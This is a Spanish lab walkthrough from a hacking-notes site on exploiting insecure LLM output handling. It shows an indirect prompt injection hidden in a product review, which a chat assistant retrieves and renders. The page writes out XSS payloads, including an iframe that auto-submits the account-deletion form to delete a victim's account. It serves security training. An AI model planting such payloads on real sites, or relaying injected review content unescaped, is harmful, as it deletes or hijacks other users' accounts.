> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# Explotación del manejo inseguro de la salida de LLM

### Aprovechamiento del manejo inseguro de la salida en los LLM

#### Contexto

Este laboratorio muestra la salida del LLM de manera no segura, permitiendo a un **XSS**. Usuario **carlos** a menudo usa el chat en vivo para solicitar información sobre productos **Chaqueta de cuero ligera "l33t"**.

#### Objetivo

Realice una inyección \*\* indirecta (inyección rápida indirecta) para ejecutar un **XSS** que **elimina la cuenta de carlos**.

<figure><img src="/files/11d918e0532cec47a6b8552d83661ba472949e9e" alt=""><figcaption></figcaption></figure>

### 1) Configuración

* Cree una cuenta de usuario.
* Acceso a **chat en vivo** con el LLM.

<figure><img src="/files/550ee6ad1a7f58ea161b700f161beaa682b0e3a2" alt=""><figcaption></figcaption></figure>

### 2) Verificaciones de XSS

#### Prueba de gato (vulnerable)

Carga útil de prueba (establecer una alerta):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/35e6c73c92ad5351b296ad4768841d3ceef0b8b6" alt=""><figcaption></figcaption></figure>

#### Prueba en comentarios (no directamente vulnerable)

* Los comentarios no parecen ejecutar HTML/JS de la misma manera.

<figure><img src="/files/3d9d1cffc37c878ee585e2aa1ada324caaad100f" alt=""><figcaption></figcaption></figure>

Por lo tanto, pasamos por una **fuente consultada por el LLM** (contenido recuperado y mostrado en el chat).

<figure><img src="/files/f88a52d6a0f928dfec350362d4482debfc2d8016" alt=""><figcaption></figcaption></figure>

### 3) Punto de entrada: contenido de las opiniones consultadas mediante LLM

Pida al LLM que muestre reseñas de productos, por ejemplo:

```bash
Ver reseñas de la cama ZZZZZZ: tu nueva oficina en casa.
```

Respuesta observada (ejemplo):

```bash
4. **Usuario** - 25 de enero de 2026
   - *Reseña:* *(La reseña contiene una imagen)*
```

La idea es inyectar HTML en un aviso para que luego sea **reemplazado en el chat en vivo** (donde la visualización es vulnerable).

<figure><img src="/files/b06d07986b768409073d688086e5d99f0d775c4d" alt=""><figcaption></figcaption></figure>

### (4) Acción objetivo: eliminación de cuenta mediante formulario

Para eliminar una cuenta de Mi cuenta, active:

```bash
document.forms[1].submit()
```

Formulario correspondiente :

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="/files/361fdc0ada3917cc173136be48d42c96e4fd4048" alt=""><figcaption></figcaption></figure>

### 5) Explotación: XSS mediante iframe (envío automático)

#### Carga útil (envío automático del formulario de eliminación)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* Una sola prueba no pasa como se desea, así que se incorpora en una oración (variante que se interpreta):

Ejemplo de una variante validada:

{% code overflow="wrap" %}

```javascript
La unboxing fue sinceramente "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" un momento destacado; le dije a mi esposa: bueno, eso sí que es impresionante.
```

{% endcode %}

El resultado: el navegador interpreta el iframe → carga `my-account` → ejecuta `forms[1].submit()` → **cuenta eliminada** (probado en su propia cuenta).

<figure><img src="/files/c1689c7c7b28d61b92cb7d5e6b8b5fc5667d0f26" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c821e17c7e77dba5a2ec7404f2f98aa6c974f47a" alt=""><figcaption></figcaption></figure>

### 6) Carga útil final colocada en el producto objetivo (la chaqueta)

Se publica una reseña en **Chaqueta de cuero ligera "l33t"** que contiene el marco (ejemplo utilizado):

{% code overflow="wrap" %}

```bash
Cuando recibí este producto, conseguí una camiseta gratis con "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >" impresa en ella. ¡Estaba encantado! ¡Qué genial es esto, le dije a mi esposa.
```

{% endcode %}

<figure><img src="/files/b139c4b1b545ca7795c006573b4735bc524ceb28" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.